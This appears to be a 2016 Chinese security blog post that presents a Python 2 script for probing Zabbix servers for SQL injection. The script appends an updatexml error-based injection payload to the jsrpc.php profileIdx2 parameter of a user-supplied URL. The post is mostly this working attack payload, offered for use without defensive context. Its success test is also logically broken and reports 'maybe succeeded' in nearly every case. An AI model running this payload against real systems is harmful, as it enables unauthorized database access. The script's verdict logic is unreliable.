zabbix(sql注入判断脚本)

admin 2016年8月18日15:34:10神兵利刃评论1,914 次浏览阅读模式
#-*-coding:utf-8-*-
# code by anyun.org
import urllib
import re
 
def getHtml(url):
    page = urllib.urlopen(url)
    html = page.read()
    html = html.replace('\n', '')
    html = html.replace('       ', ' ')
    html = html.replace('   ', '')
    html = html.replace('   ', '')
    return html
 
url =raw_input('enter url:')
poc='jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&\
pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23\
&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17'
new_url=url+poc
try:
    if getHtml(new_url).find('flickerfreescreen')<>0:
        print 'maybe successeed'
    else:
        print 'maybe unsuccessed'
except:
    print 'http error?'

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2016年8月18日15:34:10
  • 转载请务必保留本文链接:https://anyun.org/a/jishuguanzhu/shenbingliren/2016/0818/5987.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: